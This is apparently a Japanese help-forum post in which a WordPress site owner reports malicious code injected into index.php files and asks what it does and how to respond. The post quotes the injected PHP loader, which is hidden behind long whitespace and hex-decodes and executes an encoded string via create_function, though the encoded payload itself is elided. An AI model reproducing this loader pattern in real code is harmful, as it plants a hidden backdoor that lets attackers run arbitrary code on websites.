PHPファイルに不正なコードが埋め込まれてしまいました

お世話になります。
数年程wordpressでサイトを運用しているのですが、どうやらwordpressのindex.phpなどファイルに不正なコードを埋め込まれたようで困っています。下記に調べたことなどを書きます。

■調べた事
サイトを見た所TOPページにへんな文字列が挿入されていたので調べてみると下記のコードが埋め込まれていました。

<?php /*640db48ec2bddd8591010e2684b9db12*/                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $fileChecksum="69662821646566-----スゴイ数字の文字列数千文字-----
-----0";              if(!function_exists("hex2asc")){function hex2asc($in){$j=strlen($in)/2;for($i=0;$i<$j;$i++){$out.=chr(base_convert(substr($in,$i*2,2),16,10));}return $out;}}              $fileChecksum = create_function(null, hex2asc($fileChecksum));              $fileChecksum(); ?>

640db48ec2bddd8591010e2684b9db12 //md5(‘zalupa’)
このHash値はmd5した値という事はわかりました。zalupaというワードは分かってもそこから先はなにも分かっていません。

find . -type f -name “*.php” | xargs grep “fileChecksum”
index.php
./wp-content/index.php
./wp-content/themes/index.php
改ざんされたと思われるファイル。どれも更新時間は今日のam.3時頃でした。

色々と調べたのですが、類似したコードが埋まられている事例は見つけられませんでした。
念のために、サーバのパスワード等は変更しましたが原因の究明は至って居ないため、なにかアドバイスを頂ければと思い投稿しました。

アドバイス頂きたい事

1. 埋め込まれたコードの影響()
2. 対処すべきファイル(パーミッションやキャッシュ削除など)
3. 侵入経路など(原因の究明のため)

-色々調べてみたサイト

• WordPressのphpファイルが改ざんされたので対処法を http://rbs.ta36.com/?p=17960
• WordPress改ざん? PHPファイルに不正なコードが埋め込まれる件が解決した http://sedoriplan.com/injustice-cord-embedding-php-file/
• WordPress › フォーラム » [セキュリティ　バックドア改竄]このコードの役割は？ http://ja.forums.wordpress.org/topic/10317?replies=5